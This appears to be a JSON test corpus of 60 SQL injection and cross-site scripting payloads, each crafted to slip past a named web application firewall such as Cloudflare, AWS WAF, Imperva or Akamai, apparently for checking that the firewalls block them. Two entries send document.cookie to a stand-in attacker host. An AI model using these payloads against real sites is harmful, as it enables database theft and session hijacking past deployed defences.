[
  {"id":"waf-bypass-001","payload":"' /*!50000AND*/ 1=1--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","modsecurity","mysql"],"notes":"ModSecurity CRS bypass via MySQL conditional comment","expected_block":true,"vendor":"ModSecurity"},
  {"id":"waf-bypass-002","payload":"' AND{x 1}=1--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","modsecurity","curly"],"notes":"ModSecurity bypass via curly brace syntax","expected_block":true,"vendor":"ModSecurity"},
  {"id":"waf-bypass-003","payload":"' /*!11440AND*/ 1=1--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","modsecurity","version-comment"],"notes":"ModSecurity CRS3 bypass version comment","expected_block":true,"vendor":"ModSecurity"},
  {"id":"waf-bypass-004","payload":"<svg/onload=alert&#x28;1&#x29;>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","modsecurity","html-entity"],"notes":"ModSecurity XSS bypass via hex entities","expected_block":true,"vendor":"ModSecurity"},
  {"id":"waf-bypass-005","payload":"<svg/onload=alert%26%2340%3B1%26%2341%3B>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","modsecurity","double-encode"],"notes":"ModSecurity XSS double encoded entities","expected_block":true,"vendor":"ModSecurity"},
  {"id":"waf-bypass-006","payload":"' OR 1=1-- -","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","modsecurity","space-dash"],"notes":"ModSecurity bypass: space before final dash","expected_block":true,"vendor":"ModSecurity"},
  {"id":"waf-bypass-007","payload":"<img src=x onerror=alert`1`>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","modsecurity","template-literal"],"notes":"ModSecurity XSS bypass via template literals","expected_block":true,"vendor":"ModSecurity"},
  {"id":"waf-bypass-008","payload":"<details/open/ontoggle=alert`1`>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","modsecurity","details"],"notes":"ModSecurity XSS bypass via details element","expected_block":true,"vendor":"ModSecurity"},
  {"id":"waf-bypass-009","payload":"<a href=javas%09cript:alert(1)>x</a>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","cloudflare","tab-inject"],"notes":"Cloudflare XSS bypass tab in javascript:","expected_block":true,"vendor":"Cloudflare"},
  {"id":"waf-bypass-010","payload":"<svg/onload=location='javas'+'cript:ale'+'rt(1)'>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","cloudflare","string-concat"],"notes":"Cloudflare XSS bypass string concatenation","expected_block":true,"vendor":"Cloudflare"},
  {"id":"waf-bypass-011","payload":"<svg/onload=self[`al`+`ert`](1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","cloudflare","bracket-notation"],"notes":"Cloudflare XSS bypass bracket notation","expected_block":true,"vendor":"Cloudflare"},
  {"id":"waf-bypass-012","payload":"<svg onload=alert%26%230000000040;1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","cloudflare","padded-entity"],"notes":"Cloudflare XSS bypass padded entity","expected_block":true,"vendor":"Cloudflare"},
  {"id":"waf-bypass-013","payload":"<img src onerror=window[`\\x61\\x6c\\x65\\x72\\x74`]`1`>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","cloudflare","hex-escape"],"notes":"Cloudflare XSS bypass hex escape","expected_block":true,"vendor":"Cloudflare"},
  {"id":"waf-bypass-014","payload":"' AND 1=1 AND '%'='","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","cloudflare","percent"],"notes":"Cloudflare SQLi bypass percent operator","expected_block":true,"vendor":"Cloudflare"},
  {"id":"waf-bypass-015","payload":"' OR 1 LIKE 1-- -","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","cloudflare","like"],"notes":"Cloudflare SQLi bypass LIKE operator","expected_block":true,"vendor":"Cloudflare"},
  {"id":"waf-bypass-016","payload":"<video><source onerror=alert(1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","cloudflare","video"],"notes":"Cloudflare XSS bypass video source","expected_block":true,"vendor":"Cloudflare"},
  {"id":"waf-bypass-017","payload":"' /*!50000%75%6e%69%6f%6e*/ /*!50000%73%65%6c%65%63%74*/ 1,2,3--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","aws-waf","hex-comment"],"notes":"AWS WAF SQLi bypass hex+version comment","expected_block":true,"vendor":"AWS WAF"},
  {"id":"waf-bypass-018","payload":"<IMG \"\"\"><SCRIPT>alert(1)</SCRIPT>\">","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","aws-waf","img-script"],"notes":"AWS WAF XSS bypass malformed img+script","expected_block":true,"vendor":"AWS WAF"},
  {"id":"waf-bypass-019","payload":"' UNION%23%0ASELECT 1,2,3--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","aws-waf","hash-newline"],"notes":"AWS WAF SQLi bypass hash+newline","expected_block":true,"vendor":"AWS WAF"},
  {"id":"waf-bypass-020","payload":"0' DIV 1 UNION%23foo%0AALL%23foo%0ASELECT%23foo%0A1,2,3--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","aws-waf","multi-comment"],"notes":"AWS WAF SQLi bypass multi-comment newline","expected_block":true,"vendor":"AWS WAF"},
  {"id":"waf-bypass-021","payload":"<details open ontoggle=self['\\x61\\x6c\\x65\\x72\\x74'](1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","aws-waf","hex-function"],"notes":"AWS WAF XSS bypass hex function name","expected_block":true,"vendor":"AWS WAF"},
  {"id":"waf-bypass-022","payload":"<svg onload=alert(1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","aws-waf","basic"],"notes":"AWS WAF basic XSS test","expected_block":true,"vendor":"AWS WAF"},
  {"id":"waf-bypass-023","payload":"' AND 1=CONVERT(INT,@@version)--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","imperva","mssql"],"notes":"Imperva SQLi bypass via CONVERT","expected_block":true,"vendor":"Imperva"},
  {"id":"waf-bypass-024","payload":"' /*!00000UNION*/ /*!00000SELECT*/ 1,user()--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","imperva","zero-version"],"notes":"Imperva SQLi bypass zero-version comment","expected_block":true,"vendor":"Imperva"},
  {"id":"waf-bypass-025","payload":"<svg/onload=eval(atob('YWxlcnQoMSk='))>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","imperva","base64"],"notes":"Imperva XSS bypass base64 eval","expected_block":true,"vendor":"Imperva"},
  {"id":"waf-bypass-026","payload":"' OR 1=(SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","imperva","error-based"],"notes":"Imperva SQLi error-based bypass","expected_block":true,"vendor":"Imperva"},
  {"id":"waf-bypass-027","payload":"<svg onload=\"[1].find(alert)\">","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","imperva","array-method"],"notes":"Imperva XSS bypass via Array.find","expected_block":true,"vendor":"Imperva"},
  {"id":"waf-bypass-028","payload":"<svg onload=\"[1].map(alert)\">","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","imperva","array-method"],"notes":"Imperva XSS bypass via Array.map","expected_block":true,"vendor":"Imperva"},
  {"id":"waf-bypass-029","payload":"' UNION SELECT 1,2,3/*&id=1*/--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","akamai","comment-param"],"notes":"Akamai SQLi bypass comment in param","expected_block":true,"vendor":"Akamai"},
  {"id":"waf-bypass-030","payload":"<svg/onload=\"top['al'+'ert'](1)\">","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","akamai","string-split"],"notes":"Akamai XSS bypass string splitting","expected_block":true,"vendor":"Akamai"},
  {"id":"waf-bypass-031","payload":"' UNION(SELECT 1,CONCAT(0x7e,VERSION()),3)--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","akamai","no-space"],"notes":"Akamai SQLi bypass no space UNION","expected_block":true,"vendor":"Akamai"},
  {"id":"waf-bypass-032","payload":"<x/onclick=globalThis['\\141\\154\\145\\162\\164'](1)>test","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","akamai","octal"],"notes":"Akamai XSS bypass octal escape","expected_block":true,"vendor":"Akamai"},
  {"id":"waf-bypass-033","payload":"' AND extractvalue(1,concat(0x7e,(SELECT version())))--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","akamai","extractvalue"],"notes":"Akamai SQLi bypass extractvalue","expected_block":true,"vendor":"Akamai"},
  {"id":"waf-bypass-034","payload":"<img src=x onerror=window.onerror=alert;throw+1>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","akamai","throw"],"notes":"Akamai XSS bypass via throw","expected_block":true,"vendor":"Akamai"},
  {"id":"waf-bypass-035","payload":"' OR 1=1-- -/*","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","f5","trailing-comment"],"notes":"F5 BIG-IP SQLi bypass trailing comment","expected_block":true,"vendor":"F5 BIG-IP"},
  {"id":"waf-bypass-036","payload":"<svg/onload=fetch(`//attacker.com?${document.cookie}`)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","f5","fetch"],"notes":"F5 BIG-IP XSS bypass via fetch()","expected_block":true,"vendor":"F5 BIG-IP"},
  {"id":"waf-bypass-037","payload":"' UNION SELECT /*!50000 1,2,*/3--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","f5","inline-comment"],"notes":"F5 BIG-IP SQLi bypass partial comment","expected_block":true,"vendor":"F5 BIG-IP"},
  {"id":"waf-bypass-038","payload":"<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)//>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","f5","mutation"],"notes":"F5 BIG-IP XSS mutation bypass","expected_block":true,"vendor":"F5 BIG-IP"},
  {"id":"waf-bypass-039","payload":"' AND 1=0 /*!UNION*/ /*!SELECT*/ 1,2,3--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","sucuri","exec-comment"],"notes":"Sucuri SQLi bypass exec comment","expected_block":true,"vendor":"Sucuri"},
  {"id":"waf-bypass-040","payload":"<svg onload=prompt%26%230000000040document.domain)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","sucuri","padded-entity"],"notes":"Sucuri XSS bypass padded entity","expected_block":true,"vendor":"Sucuri"},
  {"id":"waf-bypass-041","payload":"' UNION ALL SELECT NULL,NULL,CONCAT(0x7178786b71,IFNULL(CAST(schema_name AS CHAR),0x20),0x7176627871) FROM information_schema.schemata--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","sucuri","junk-chars"],"notes":"Sucuri SQLi bypass junk hex markers","expected_block":true,"vendor":"Sucuri"},
  {"id":"waf-bypass-042","payload":"<input/onfocus=alert(1) autofocus>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","sucuri","input"],"notes":"Sucuri XSS bypass input autofocus","expected_block":true,"vendor":"Sucuri"},
  {"id":"waf-bypass-043","payload":"' AND 1 IN (SELECT TOP 1 CAST(name AS NVARCHAR(4000)) FROM sysobjects WHERE xtype='U')--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","barracuda","mssql"],"notes":"Barracuda SQLi bypass CAST/sysobjects","expected_block":true,"vendor":"Barracuda"},
  {"id":"waf-bypass-044","payload":"<body/onload=alert(1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","barracuda","body"],"notes":"Barracuda XSS bypass body onload","expected_block":true,"vendor":"Barracuda"},
  {"id":"waf-bypass-045","payload":"' /*!UNION*/ /*!ALL*/ /*!SELECT*/ 1,version(),3--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","barracuda","exec-comment"],"notes":"Barracuda SQLi bypass exec comments","expected_block":true,"vendor":"Barracuda"},
  {"id":"waf-bypass-046","payload":"<marquee/onstart=alert(1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","barracuda","marquee"],"notes":"Barracuda XSS bypass marquee","expected_block":true,"vendor":"Barracuda"},
  {"id":"waf-bypass-047","payload":"' UNION SELECT 1,@@version,3 FROM master..sysdatabases--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","fortinet","mssql"],"notes":"Fortinet SQLi bypass master..sysdatabases","expected_block":true,"vendor":"Fortinet"},
  {"id":"waf-bypass-048","payload":"<isindex type=image src=1 onerror=alert(1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","fortinet","isindex"],"notes":"Fortinet XSS bypass legacy isindex","expected_block":true,"vendor":"Fortinet"},
  {"id":"waf-bypass-049","payload":"' OR 1 GROUP BY CONCAT(version(),FLOOR(RAND(0)*2)) HAVING MIN(0)--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","fortinet","group-by"],"notes":"Fortinet SQLi bypass GROUP BY error","expected_block":true,"vendor":"Fortinet"},
  {"id":"waf-bypass-050","payload":"<svg><script>alert&#x28;1&#x29;</script>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","fortinet","svg-script"],"notes":"Fortinet XSS bypass SVG script entity","expected_block":true,"vendor":"Fortinet"},
  {"id":"waf-bypass-051","payload":"' AND 1=(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x7e,version(),0x7e)) FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","azure-waf","nested-select"],"notes":"Azure WAF SQLi bypass nested select","expected_block":true,"vendor":"Azure WAF"},
  {"id":"waf-bypass-052","payload":"<svg/onload=alert(1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","azure-waf","basic-svg"],"notes":"Azure WAF basic SVG XSS test","expected_block":true,"vendor":"Azure WAF"},
  {"id":"waf-bypass-053","payload":"' /*!UNION*/ /*!SELECT*/ group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","azure-waf","group-concat"],"notes":"Azure WAF SQLi bypass group_concat","expected_block":true,"vendor":"Azure WAF"},
  {"id":"waf-bypass-054","payload":"<svg/onload=\"navigator.sendBeacon('//attacker.com',document.cookie)\">","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","azure-waf","beacon"],"notes":"Azure WAF XSS bypass sendBeacon exfil","expected_block":true,"vendor":"Azure WAF"},
  {"id":"waf-bypass-055","payload":"' UNION%0bSELECT%0b1,2,3--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","generic","vtab"],"notes":"Generic WAF bypass vertical tab separator","expected_block":true,"vendor":"generic"},
  {"id":"waf-bypass-056","payload":"' UNION%0cSELECT%0c1,2,3--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","generic","formfeed"],"notes":"Generic WAF bypass form feed separator","expected_block":true,"vendor":"generic"},
  {"id":"waf-bypass-057","payload":"<svg/onload=top[/al/.source+/ert/.source](1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","generic","regex-source"],"notes":"Generic XSS bypass regex source concat","expected_block":true,"vendor":"generic"},
  {"id":"waf-bypass-058","payload":"<svg onload=window['\\u0061lert'](1)>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","generic","unicode-escape"],"notes":"Generic XSS bypass unicode escape","expected_block":true,"vendor":"generic"},
  {"id":"waf-bypass-059","payload":"' OR 1=1 /*!ORDER BY*/ 1--","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["sqli","generic","exec-comment"],"notes":"Generic WAF bypass ORDER BY in exec comment","expected_block":true,"vendor":"generic"},
  {"id":"waf-bypass-060","payload":"<svg onload=location=`javas`+`cript:ale`+`rt%2`+`81%29`>","category":"waf-bypass","method":"GET","severity_hint":"critical","tags":["xss","generic","fragment-concat"],"notes":"Generic XSS bypass fragmented concatenation","expected_block":true,"vendor":"generic"}
]